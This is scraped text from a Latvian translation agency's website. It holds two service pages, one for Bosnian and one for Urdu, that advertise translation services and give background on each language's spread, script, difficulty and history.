valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu Meklējiet valodu risinājumus bosniešu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI UN CITI PAKALPOJUMI BOSNIEŠU VALODĀ / TULKOT BOSNIEŠU VALODĀ Tulkošanas birojs un mācību centrs Skrivanek strādā ar dokumentu rakstiskajiem tulkojumiem, dažādas sarežģītības tehniskajiem tulkojumiem, kā arī nodrošina notariāli apliecinātus tulkojumus. Mēs piedāvājam arī korektūru, stilistisko uzlabošanu un SEO satura veidošanu, un mūsu valodas speciālisti priecāsies pastāstīt par kultūras atšķirībām, lietišķo etiķeti, vēsturi un tradīcijām. Biznesa klientiem visbiežāk veicam mājaslapu, e-komercijas satura un reklāmas saukļu adaptāciju, sadarbības līgumu un dokumentācijas tulkošanu. Fiziskām personām aktuāli personu apliecinošo dokumentu, laulību un dzimšanas apliecību, izglītības, medicīnisko dokumentu u. c. tulkojumi. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM BOSNIEŠU VALODĀ: dažādu dokumentu tulkošana bosniešu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; bosniešu valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi bosniešu valodā; individuālie bosniešu valodas kursi Meklējiet valodu risinājumus bosniešu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt BOSNIEŠU VALODA Lai arī bosniešu valoda, salīdzinot ar citām valodām, kas veidojas vienā laikā, uzplaukusi samērā vēlu, šobrīd tās apguvei ir liels potenciāls. 2010. gadā Sarajeva, Bosnijas un Hercegovinas galvaspilsēta, nonāca Lonely Planet`s topā, kurā katru gadu tiek ieteikts apmeklēt desmit pilsētas, kas vēl nav plaši atklātas ceļotāju lokā. Pēc Pasaules tūrisma organizācijas datiem Bosnija un Hercegovina tūrisma nozarē ir viena no trīs straujāk augošajām valstīm laikā no 1995. līdz 2020. gadam. Bosnijas nosaukumu saista gan ar Bosnas upi, gan indoeiropiešu pirmvalodas vārdu bosana – 'ūdens', ar ko valsts tik tiešām ir ļoti bagāta. ĪSUMĀ PAR BOSNIEŠU VALODU Bosniešu valoda (bosanski jezik) indoeiropiešu saimē atrodas slāvu valodu grupā. Slāvu valodas iedalās rietumslāvu, austrumslāvu un dienvidslāvu valodās, un bosniešu valoda, tāpat kā bulgāru, maķedoniešu, serbhorvātu un slovēņu valoda, ir dienvidslāvu valoda. BOSNIEŠU VALODA – VIENA NO BOSNIJAS UN HERCEGOVINAS OFICIĀLAJĀM VALODĀM Bosniešu valodā runā Balkānu reģiona valstīs un tā ir viena no Bosnijas un Hercegovinas oficiālajām valsts valodām līdzās serbu un horvātu valodai. Lai arī starp visām trim valodām pastāv līdzība, bosniešu valoda ir unikāla un atšķiras gan vārdu krājumā, gan skanējumā. Valodnieki norāda, ka bosniešu valodai raksturīgais akcents, ritms un intonācijas ļauj uzreiz atšķirt šīs valodas lietotājus. CIK DAUDZ UN KUR RUNĀ BOSNIEŠU VALODĀ? Saskaņā ar WorldData informāciju šī ir valoda, kurā šobrīd runā vairāk nekā 1,7 miljoni cilvēku, no kuriem 45 % ir Bosnijas un Hercegovinas iedzīvotāji, taču to lieto arī Serbijā, Melnkalnē, Kosovā un Horvātijā. BOSNIEŠU VALODAS ALFABĒTS Mūsdienu bosniešu valodā lieto gan latīņu valodas alfabētu, gan kirilicu. Latīņu alfabētu kopā ar serbu lietoto kirilicu 19. gs. pārformēja valodnieki, izveidojot atbilstību starp valodas skaņām un burtiem un latīņu alfabēta un kirilicas zīmēm. Bosnijā un Hercegovinā latīņu alfabēta rakstību vairāk izmanto bosnieši un horvāti, bet kirilicu – serbi. CIK SAREŽĢĪTA IR BOSNIEŠU VALODA? ASV Ārlietu dienesta institūts visas pasaules valodas sarindojis pēc to grūtības pakāpes, kur bosniešu valoda tiek pieskaitīta 3. kategorijas valodām. Tas nozīmē, ka valoda klasificēta kā grūta un tās apgūšanai profesionālam darba līmenim būtu nepieciešamas aptuveni 44 nedēļas (1100 mācību stundas). Tomēr jāņem vērā, ka valodas tiek grupētas, balstoties uz runātājiem, kam pamatvaloda ir angļu valoda. Tā kā bosniešu valoda pieder slāvu valodu grupai, to būs vieglāk apgūt tiem, kas jau runā krievu valodā. Tāpat kā krievu valodā, bosniešu valodā izšķir trīs dzimtes: sieviešu, vīriešu, nekatro. Tai ir vienskaitļa un daudzskaitļa forma, kā arī sarežģīta darbības vārdu un laiku sistēma, kas raksturīgi slāvu valodām. Dažkārt īpašības vārdi un lietvārdi tiek locīti vienādi, kas valodai piešķir ritmu un muzikalitāti. BOSNIJAS UN HERCEGOVINAS VĒSTURE Bosnija pirmoreiz kļuva par neatkarīgu karalisti 1377. gadā, un tās vēsture ir sarežģītiem līkločiem pilna. Dienvidslāvi (arī horvātu un serbu ciltis) Balkānos ieradās 6. un 7. gadsimtā. Bosnija pirmo reizi tika sadalīta starp Serbijas un Horvātijas karaļvalstīm 9. gadsimtā, bet no 11. līdz 12. gs. to pārvaldīja Ungārijas Karaliste. No 1463. līdz 1878. gadam Bosnija un Hercegovina bija Osmaņu impērijas pakļautībā, un šajā laikā daudzi bosnieši pieņēma islāmu. 1878. gadā pēc krievu-turku kara atkal mainījās varas groži un Bosniju pārvaldīja Austroungārijas impērija. Pēc Pirmā pasaules kara sabrukušās Austroungārijas teritorijā apvienojās bijušās Serbijas un Melnkalnes Karalistes, kā arī horvātu, slovēņu un bosniešu apdzīvotās Austroungārijas daļas, kas no 1929. gada tika dēvēta par Dienvidslāvijas karalisti. VALSTS, KAS SADALĪTA DIVĀS DAĻĀS Pēc Otrā pasaules kara tika izveidota Bosnijas un Hercegovinas Sociālistiskā Republika, kas atradās Dienvidslāvijas Sociālistiskās Federatīvās Republikas sastāvā. 1992. gadā Bosnija un Hercegovina pasludināja neatkarību, pret ko Serbu Republika izrādīja pretestību un aizsāka Bosnijas karu, kas beidzās tikai 1995. gada nogalē, iesaistoties NATO. Saskaņā ar noslēgto Deitonas vienošanos Bosnijas un Hercegovinas sastāvā tika izveidotas divas etniski nošķirtas daļas — musulmaņu un horvātu pārvaldītā Bosnijas un Hercegovinas Federācija un serbu kontrolētā Serbu Republika. BOSNIJA UN HERCEGOVINA ŠOBRĪD Lai arī starp abiem valstiskajiem veidojumiem nav fiziskas robežas, katram no tiem ir savs karogs, prezidents, premjerministrs, valdība, parlaments un autonomijas tiesības, un etniski reliģiskās kopienas lielākoties dzīvo nošķirti. Abas autonomās daļas gan saista vāja centrālā valdība Sarajevā. Deitonas miera līguma izpildi uzrauga ANO, tomēr politiskas domstarpības un bažas par valsts sadalīšanos un tālāko pastāvēšanu izskan joprojām. BOSNIJA UN HERCEGOVINA CEĻOTĀJIEM Bosnija un Hercegovina ir mazāka nekā mūsu Latvija – tikai 51 210 km². Nelielo valsti raksturo sarežģītā un nežēlīgā vēsture, varenāko impēriju veidotais kultūras mantojums, kalnu iedzīvotāju viesmīlība, vairāku gadsimtu garumā veidotās ēdienu tradīcijas, un, protams, nepieradinātās dabas skaistums – kristāldzidrās upes, auglīgā zeme, pirmatnējie meži un kalni. SARAJEVAS REĢIONS Šajā reģionā satiekas kultūras, dabas un vēstures mantojums – no galvaspilsētas izklaides iespējām līdz pirmatnējiem mežiem Sutjeskas nacionālajā parkā. Lai arī šis ir viens no kalnainākajiem apvidiem valstī, klimats ir samērā silts. Pati pilsēta nav liela, un tajā nav arī grandiozas ēkas, taču tai piemīt šarms un raksturīga izteiktas viesmīlības tradīcija. ATŠĶIRĪGĀ HERCEGOVINA Lai gan ir līdzības valodā un kultūrā, Hercegovina un Bosnija atšķiras. Hercegovinas dabu dažkārt raksturo kā neauglīgu mēnesnīcu, taču arī šeit sastapsiet dzidrās upes un tikai šajā reģionā raksturīgo floru un faunu. Lielākajā daļā Hercegovinas ir silts Vidusjūras klimats, tāpēc saulainajā reģionā varēsiet baudīt granātābolus, mandarīnus, kivi un citus augļus. ZIEMEĻRIETUMU REĢIONA DĀRGUMI Šis reģions, iedzīvotāju saukts arī par Krajinu ('beigas') vai zaļo smaragdu, ir zaļākais apvidus Bosnijā un Hercegovinā, apvienojot ūdens krātuvju un lauku reģionu skaistumu. Šeit var atrast brīnišķīgas vietas, lai dotos pārgājienos un izbraucienos ar riteni, ietu zvejot vai vienkārši baudītu dienu, neko nedarot. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM BOSNIEŠU VALODĀ: dažādu dokumentu tulkošana bosniešu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; bosniešu valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi bosniešu valodā; individuālie bosniešu valodas kursi. BOSNIEŠU VALODAS KOMBINĀCIJAS: bosniešu–latviešu; bosniešu–angļu; bosniešu–lietuviešu; lietuviešu–bosniešu; igauņu–bosniešu; bosniešu–igauņu; krievu–bosniešu; bosniešu–krievu; poļu–bosniešu; bosniešu–poļu; ukraiņu–bosniešu; bosniešu–ukraiņu; čehu–bosniešu; bosniešu–čehu; vācu–bosniešu; bosniešu–vācu; spāņu–bosniešu; bosniešu–spāņu; franču–bosniešu; bosniešu–franču; itāļu–bosniešu; bosniešu–itāļu; dāņu–bosniešu; bosniešu–dāņu; zviedru–bosniešu; bosniešu–zviedru; norvēģu–bosniešu; bosniešu–norvēģu; somu–bosniešu; bosniešu–somu; bosniešu–arābu; arābu–bosniešu; bosniešu–armēņu, armēņu–bosniešu; bosniešu–baltkrievu, baltkrievu–bosniešu; bulgāru–bosniešu, bosniešu–bulgāru; bosniešu–ebreju, ebreju–bosniešu, bosniešu–grieķu, grieķu–bosniešu; angļu–gruzīnu; gruzīnu–bosniešu; bosniešu–hindi; hindi–bosniešu; bosniešu–holandiešu; holandiešu–bosniešu; bosniešu–korejiešu; korejiešu–bosniešu; bosniešu–kurdu; kurdu–bosniešu; bosniešu–ķīniešu; ķīniešu–bosniešu; bosniešu–portugāļu; portugāļu–bosniešu; bosniešu–rumāņu; rumāņu–bosniešu; bosniešu–slovāku; slovāku–bosniešu; bosniešu–slovēņu; slovēņu–bosniešu; bosniešu–turku; turku–bosniešu; bosniešu–ungāru; ungāru–bosniešu u. c. --- > Dažādu dokumentu, tekstu un pasākumu tulkojumi urdu valodā un no urdu valodas. Atsūtiet pieprasījumu un saņemiet bezmaksas cenas aprēķinu! - Published: 2023-05-22 - Modified: 2024-10-23 - URL: https://skrivanek.lv/citas-valodas-tulkojumi-110-valodas/tulkojumi-urdu-valoda/ - Translation Priorities: Optional TULKOJUMI URDU VALODĀ / TULKOT URDU VALODĀ Tulkošanas birojs Skrivanek strādā ar dokumentu rakstiskajiem tulkojumiem, dažādas sarežģītības tehniskajiem tulkojumiem, kā arī nodrošina notariāli apliecinātus tulkojumus, korektūru, tekstu stilistisko uzlabošanu. Mēs piedāvājam arī korektūru, stilistisko uzlabošanu un SEO satura veidošanu. Tāpat mūsu valodas speciālisti var pastāstīt par urdu valodas lietotāju kultūras atšķirībām, lietišķo etiķeti, vēsturi un tradīcijām. Biznesa klientiem visbiežāk veicam mājaslapu, e-komercijas satura un reklāmas saukļu adaptāciju, sadarbības līgumu un dokumentācijas tulkošanu. Fiziskām personām aktuālāki personu apliecinošo dokumentu, laulību un dzimšanas apliecību, izglītības un medicīnisko dokumentu u. c. tulkojumi. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM URDU VALODĀ: dažādu dokumentu tulkošana urdu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; urdu valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi urdu valodā; individuālie urdu valodas kursi. Kvalitātes un konfidencialitātes garantija, ko apstiprina ISO sertifikātiMūsu projektu vadītāji runā latviešu, krievu, angļu, vācu un poļu valodā99% klientu saņem cenas piedāvājumu mazāk nekā 15 minūtēsVairāk nekā 3000 valodas speciālistu un dzimtās valodas runātājuVairāk nekā 98% klientu mūs labprāt ieteiktu saviem draugiem un partneriemMūsu birojā katru gadu tiek iztulkoti vairāk nekā 16 miljoni vārdu URDU VALODAS ĢEOGRĀFISKĀ IZPLATĪBA Urdu ir viena no divām Pakistānas valsts valodām, kā arī viena no 22 Indijā klasificētajām valodām un oficiālā valoda vairākos Indijas štatos: Utarpradēšā, Bihārā, Āndhra Pradēšā, Džammu un Kašmīrā. Kopumā aptuveni 87,6 miljoniem cilvēku visā pasaulē urdu valoda ir dzimtā valoda. Pēc WorldData informācijas tā ir mātes valoda 5 % Indijas (69 670 000), 7,6 % Pakistānas (17 115 000) un 2,6 % Nepālas (772 000) iedzīvotāju. Daudz urdu valodas pratēju dzīvo arī Apvienotajā Karalistē, Saūda Arābijā, Amerikas Savienotajās Valstīs, kā arī Bangladešā, kur šī valoda tiek saukta par bihari. Meklējiet valodu risinājumus urdu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt TULKOJUMI URDU VALODĀ / TULKOT URDU VALODĀ Tulkošanas birojs Skrivanek strādā ar dokumentu rakstiskajiem tulkojumiem, dažādas sarežģītības tehniskajiem tulkojumiem, kā arī nodrošina notariāli apliecinātus tulkojumus, korektūru, tekstu stilistisko uzlabošanu. Mēs piedāvājam arī korektūru, stilistisko uzlabošanu un SEO satura veidošanu. Tāpat mūsu valodas speciālisti var pastāstīt par urdu valodas lietotāju kultūras atšķirībām, lietišķo etiķeti, vēsturi un tradīcijām. Biznesa klientiem visbiežāk veicam mājaslapu, e-komercijas satura un reklāmas saukļu adaptāciju, sadarbības līgumu un dokumentācijas tulkošanu. Fiziskām personām aktuālāki personu apliecinošo dokumentu, laulību un dzimšanas apliecību, izglītības un medicīnisko dokumentu u. c. tulkojumi. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM URDU VALODĀ: dažādu dokumentu tulkošana urdu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; urdu valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi urdu valodā; individuālie urdu valodas kursi. Meklējiet valodu risinājumus urdu valodā? Sazinieties ar mums! Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Pasūtītājs *PrivātpersonaUzņēmums Vārds un uzvārds *Tālrunis Pievienot Noņemt Vārds un uzvārds *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt Uzņēmuma nosaukums *Tālrunis Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt E-pasts *Valodu kombinācija Pievienot Noņemt Papildu informācijaPievienot dokumentu līdz 20 MB, ja dokumenta izmērs ir lielāks, lūdzam to norādīt ziņā un mēs sazināsimies Click or drag files to this area to upload. You can upload up to 10 files. Kā par mums uzzinājātKā par mums uzzinājātEsmu Skrivanek klientsGoogle meklētājsDrauga/paziņas ieteikumsFacebookTwitterLinkedInInstagramVides reklāmaIzstādeReklāma drukātajos medijosCitsNospiežot pogu "Nosūtīt", jūs piekrītat personas datu apstrādei saskaņā ar Skrivanek Baltic Privātuma politiku. Nosūtīt URDU VALODAS ĢEOGRĀFISKĀ IZPLATĪBA Urdu ir viena no divām Pakistānas valsts valodām, kā arī viena no 22 Indijā klasificētajām valodām un oficiālā valoda vairākos Indijas štatos: Utarpradēšā, Bihārā, Āndhra Pradēšā, Džammu un Kašmīrā. Kopumā aptuveni 87,6 miljoniem cilvēku visā pasaulē urdu valoda ir dzimtā valoda. Pēc WorldData informācijas tā ir mātes valoda 5 % Indijas (69 670 000), 7,6 % Pakistānas (17 115 000) un 2,6 % Nepālas (772 000) iedzīvotāju. Daudz urdu valodas pratēju dzīvo arī Apvienotajā Karalistē, Saūda Arābijā, Amerikas Savienotajās Valstīs, kā arī Bangladešā, kur šī valoda tiek saukta par bihari. 10 INTERESANTI FAKTI PAR URDU VALODU Vārds "urdu" ir atvasināts no turku valodas vārda "ordu", kas nozīmē 'armija'. Tiek lēsts, ka urdu valodā runā 100 miljoni cilvēku visā pasaulē, kas urdu valodu padara par 11. visbiežāk lietoto valodu pasaulē. Urdu valodai vislīdzīgākā valoda ir hindi. Ja esat kādreiz skatījies Bolivudas filmas, iespējams, esat pamanījis, ka urdu un hindi valodas skan gandrīz identiski, ja neskaita dažus vārdus, frāzes un runas toni. Ja zināt hindi valodu, tas padarīs urdu valodu par ļoti viegli apgūstamu, un otrādi. Indijā ir vairāk nekā 2900 laikrakstu urdu valodā. Urdu valoda tiek uzskatīta par ļoti skaistu valodu, kas uzplaukst literatūrā, jo īpaši dzejā. Valodas vārdu krājums ir bagātīgs, un vārdiem raksturīga daudznozīmība un metaforas. Viens no zināmākajiem citātiem urdu valodā ir dzejnieka Allama Ikbāla (1877–1938) domugrauds: "Tikai pārmaiņas ir pastāvīgas. " Urdu valodas leksikas pamatā ir vārdi, kas pauž cieņu un pieklājību. Pieklājība un manieres starp urdu valodas lietotājiem svarīgas arī uzvedībā, piemēram, tiek strikti ievērota cieņa pret vecākiem cilvēkiem, tāpat nav pieņemts smēķēt vai sēdēt sakrustotām kājām otra klātbūtnē, runāt ēšanas laikā vai pārtraukt citam citu. Urdu valoda ir akadēmiska valoda – zinātniski raksti, pētījumi, grāmatas tiesībās, humanitārajās un sociālajās zinātnēs u. c. Dienvidāzijā rakstītas tieši urdu valodā. UNESCO Starptautiskā dzimtās valodas diena 21. februārī pirmoreiz tika izsludināta 1999. gadā, un šis datums ir kā piemineklis 1952. gada 21. februārim, kad četri jauni studenti Dakā tika nogalināti urdu un bengāļu valodas konfliktu raisīto protestu laikā. URDU VALODA VALODU SAIMĒ Urdu (اُردوُ, urdū, izrunā: ), vietējiem pazīstama arī kā Lāškārrī (لشکری), pieder pie ide valodu saimes un indoāriešu valodu grupas. Urdu valoda ir radniecīga hindi, bet tajā ir daudzi persiešu un arābu valodas aizguvumi. Urdu vārdu krājums ir attīstījies sanskrita, persiešu, arābu, kurdu un tjurku valodu ietekmē, bet mūsdienās vērojama arī pendžābu un angļu valodas ietekme. Tiek uzskatīts, ka urdu valoda ir hindustāņu literārā valoda, kas tiek izmantota musulmaņu pasaulē, kamēr hindi, kas ir fonētiski un gramatiski tāda pati, izmanto hinduisti. Vienlaikus, neskatoties uz daudzajām līdzībām, abām valodām ir atšķirīga kultūrvēsturiskā nozīme un rakstības sistēma. Hindi izmanto dēvanāgarī rakstības sistēmu, ko lieto arī sanskritā – hinduistu reliģisko tekstu valodā; urdu valodā savukārt lieto persiešu valodas alfabētu. Abu šo valodu atšķirības iezīmē kultūras plaisu starp Indijas un citu Dienvidāzijas reģionu kultūrām. URDU ALFABĒTS Urdu valodā tiek rakstīts no labās uz kreiso pusi. Alfabētā ir 38 burti, bet dažus burtus var modificēt, lai attēlotu dažādas skaņas. Urdu valodā tiek izmantota arābu rakstība, alfabēts ir mainīta persiešu valodas alfabēta versija, un šīm valodām ir raksturīgi, ka pat viens punkts virs burta var mainīt ne tikai burta izrunu, bet arī vārda nozīmi. CIK SAREŽĢĪTI IR APGŪT URDU VALODU? Lai arī urdu valodas gramatika, vārdu uzbūve un teikumu struktūra ir ļoti sistemātiska, valodas apguvējus sagaida arī grūtības. Urdu valodā izmanto formālas un neformālas darbības vārda formas, un lietvārdiem ir sieviešu un vīriešu dzimte. Tiem, kuru dzimtajā valodā tiek rakstīts no kreisās uz labo pusi, viens no izaicinājumiem ir pierast lasīt no labās uz kreiso pusi. Arī izruna urdu valodā, līdzīgi kā angļu valodā, ne vienmēr ir regulāra. URDU LITERATŪRA 14. un 15. gs. laikā urdu valodā sāka rakstīt daudz dzejas un literatūras, bet dzejas uzplaukums saistāms ar 16. gs. Proza attīstījās tikai 19. gs. , lai gan vēstures un reliģiskie teksti un traktāti zināmi no 14. gs. Vēlāk 20. gs. literatūrai bija izteikti nacionālistiska funkcija – veidot identitāti un piederības sajūtu valodai. Urdu galvenokārt tiek saistīta ar Indijas subkontinenta musulmaņiem, taču ir daudz nozīmīgu urdu literatūras darbu, kuru autori ir hinduisti un sikhu rakstnieki. Urdu literatūra lielākoties ir populāra Pakistānā, kur urdu valoda ir valsts valoda, un Indijā, kur tā ir atzīta valoda, bet plaši izplatīta arī Afganistānā, mazāk Bangladešā. URDU VALODAS VĒSTURE Urdu sāka attīstīties Indijas ziemeļos ap Deli apmēram 12. gs. Tās pamatā ir valoda, kādā runāja Deli reģionā, bet to spēcīgi ietekmēja arābu un persiešu valoda, kā arī turku valoda. URDU VALODAS LOMA ISLĀMĀ Reliģiskā un sociālā fona dēļ 19. gs. sākumā urdu valodas attīstībā liela loma bija Indijai. Tā kā hindi valoda atdalījās līdz ar hinduistiem, lai radītu atšķirīgu garīgo un reliģisko identitāti, urdu kļuva par Indijas musulmaņu valodu un tika lietota ne tikai Indijas ziemeļos, bet arī Bombejā, Bengālijā un Orisā. Tā hindi un urdu valodas kļuva par reliģisko mācību celšanas pamatiem hinduistiem un musulmaņiem. Saskaņā ar islāma tradīcijām arābu valodai, kurā runā pravietis Muhameds un kas izskan Korānā, ir garīga nozīme un vara, un, tā kā urdu valodas uzdevums bija apvienot musulmaņus Ziemeļindijā un vēlāk Pakistānā, tā pieņēma modificēto persiešu-arābu rakstību. URDU KUSTĪBA Urdu sociālpolitiskā kustība aizsākās 19. gs. vidū ar mērķi padarīt urdu valodu par Indijas musulmaņu kopienas identitātes simbolu un universālo valodu. 1867. gadā sākās hindi–urdu domstarpības, jo Lielbritānijas valdība gatavojās pieņemt hinduistu kopienas un Bihāras prasību mainīt valsts valodas perso-arābu rakstību uz dēvanāgarī rakstības sistēmu un pieņemt hindi kā valsts valodu. Pret šādām pārmaiņām iestājās musulmaņu pārstāvji, pamatojot urdu valodu kā hinduistu un musulmaņu kopīgo mantojumu. Musulmaņiem Indijas ziemeļos un rietumos urdu bija politiskās identitātes un separātisma neatņemama sastāvdaļa. Palielinoties musulmaņu un hinduistu iekšējam konfliktam, urdu valodas aizstāvības kampaņa tika kritizēta, jo bija politiska un kalpoja par ķīli starp musulmaņiem un hinduistiem, kuri uzskatīja, ka šie ir centieni atjaunot musulmaņu hegemoniju. Sevišķi naidīgu hinduistu līderu un kopienas atbildes reakciju raisīja argumentācija par urdu valodu kā augstsirdīgu augsta sociālā stāvokļa valodu, bet hindi kā zemākas kārtas valodu. URDU VALODAS ĢEOGRĀFISKĀ IZPLATĪBA Urdu ir viena no divām Pakistānas valsts valodām, kā arī viena no 22 Indijā klasificētajām valodām un oficiālā valoda vairākos Indijas štatos: Utarpradēšā, Bihārā, Āndhra Pradēšā, Džammu un Kašmīrā. Kopumā aptuveni 87,6 miljoniem cilvēku visā pasaulē urdu valoda ir dzimtā valoda. Pēc WorldData informācijas tā ir mātes valoda 5 % Indijas (69 670 000), 7,6 % Pakistānas (17 115 000) un 2,6 % Nepālas (772 000) iedzīvotāju. Daudz urdu valodas pratēju dzīvo arī Apvienotajā Karalistē, Saūda Arābijā, Amerikas Savienotajās Valstīs, kā arī Bangladešā, kur šī valoda tiek saukta par bihari. VIENA NO PAKISTĀNAS OFICIĀLAJĀM VALODĀM Pēc Pakistānas izveidošanās 1947. gadā urdu kļuva par vienu no valsts oficiālajām valodām (otra Pakistānas oficiālā valoda ir angļu valoda). Tā kā Pakistāna tika izveidota ar mērķi uzbūvēt dzimteni Dienvidāzijas musulmaņiem, tad urdu valoda tādējādi turpināja savu lomu musulmaņu identitātes veidošanā. Lai gan tikai 7,6 % pakistāņu urdu valoda ir dzimtā valoda, tās oficiālais statuss nozīmē, ka urdu valodu visā Pakistānā saprot un plaši izmanto kā otro vai trešo valodu. Urdu valodu izmanto izglītībā, literatūrā, uzņēmējdarbībā, darbavietās. Lai gan Pakistānas Konstitūcijas 251. panta 1. punktā ir noteikts, ka urdu ir vienīgā valdības valoda, angļu valoda joprojām ir visplašāk lietotā valoda Pakistānas valdības augstākajos ešelonos. URDU UN BENGĀĻU VALODAS SADURSME Lai gan urdu valodai un islāmam bija svarīga loma Pakistānas nacionālās identitātes attīstībā, 20. gs. 50. gados noritēja diskusijas par urdu valodu kā valsts nacionālo simbolu un tās praktiskumu kā lingua franca (īpaši Austrumpakistānā, kur dominējošā valoda bija bengāļu valoda). Kad 1947. gadā tika dibināta Pakistānas valsts, tajā bija divas atsevišķas daļas: Austrumpakistāna un Rietumpakistāna, un abas daļas ļoti atšķīrās viena no otras gan kultūras, gan valodas ziņā. 1948. gadā Pakistānas valdība pasludināja urdu valodu par vienīgo Pakistānas valsts valodu, lai gan arī bengāļu valodā runāja lielākā daļa Pakistānas iedzīvotāju. Austrumpakistānas iedzīvotāji pret to ļoti protestēja, pieprasot, lai arī bengāļu valoda kļūtu par Pakistānas otro valsts valodu. Lai nomierinātu situāciju valstī, Pakistānas valdība aizliedza jebkādus mītiņus un publiskas sanāksmes, taču Dākas universitātes studenti ar plašu sabiedrības atbalstu uzsāka aktīvus masveida mītiņus un protesta akcijas valstī. 1952. gada 21. februārī studentu sarīkota mītiņa laikā policija atklāja uguni uz tā dalībniekiem, nogalinot četrus universitātes studentus un simtiem ievainojot. Strīdi mazinājās, kad bijušajā Austrumpakistānā, tagadējā Bangladešā, kā oficiālās valodas pieņēma angļu un bengāļu valodu. RISINĀJUMI, KURUS VISBIEŽĀK NODROŠINĀM URDU VALODĀ: dažādu dokumentu tulkošana urdu valodā; steidzami rakstiskie tulkojumi; notariāli apliecināts tulkojums; mājaslapu tulkošana; urdu valodas tekstu korektūra; DTP – grafiskā dizaina pakalpojumi; tekstu adaptācija un radošo tekstu sagatavošana; mutiskie tulkojumi urdu valodā; individuālie urdu valodas kursi. URDU VALODAS KOMBINĀCIJAS: urdu–latviešu; latviešu–urdu; urdu–lietuviešu; lietuviešu–urdu; igauņu–urdu; urdu–igauņu; krievu–urdu; urdu–krievu; poļu–urdu; urdu–poļu; ukraiņu–urdu; urdu–ukraiņu; čehu–urdu; urdu–čehu; vācu–urdu; urdu–vācu; spāņu–urdu; urdu–spāņu; franču–urdu; urdu–franču; itāļu–urdu; urdu–itāļu; dāņu–urdu; urdu–dāņu; zviedru–urdu; urdu–zviedru; norvēģu–urdu; urdu–norvēģu; somu–urdu; urdu–somu; urdu–arābu; arābu–urdu; urdu–armēņu, armēņu–urdu; urdu–baltkrievu, baltkrievu–urdu; bulgāru–urdu, urdu–bulgāru; urdu–ebreju, ebreju–urdu, urdu–grieķu, grieķu–urdu; urdu–gruzīnu; gruzīnu–urdu; 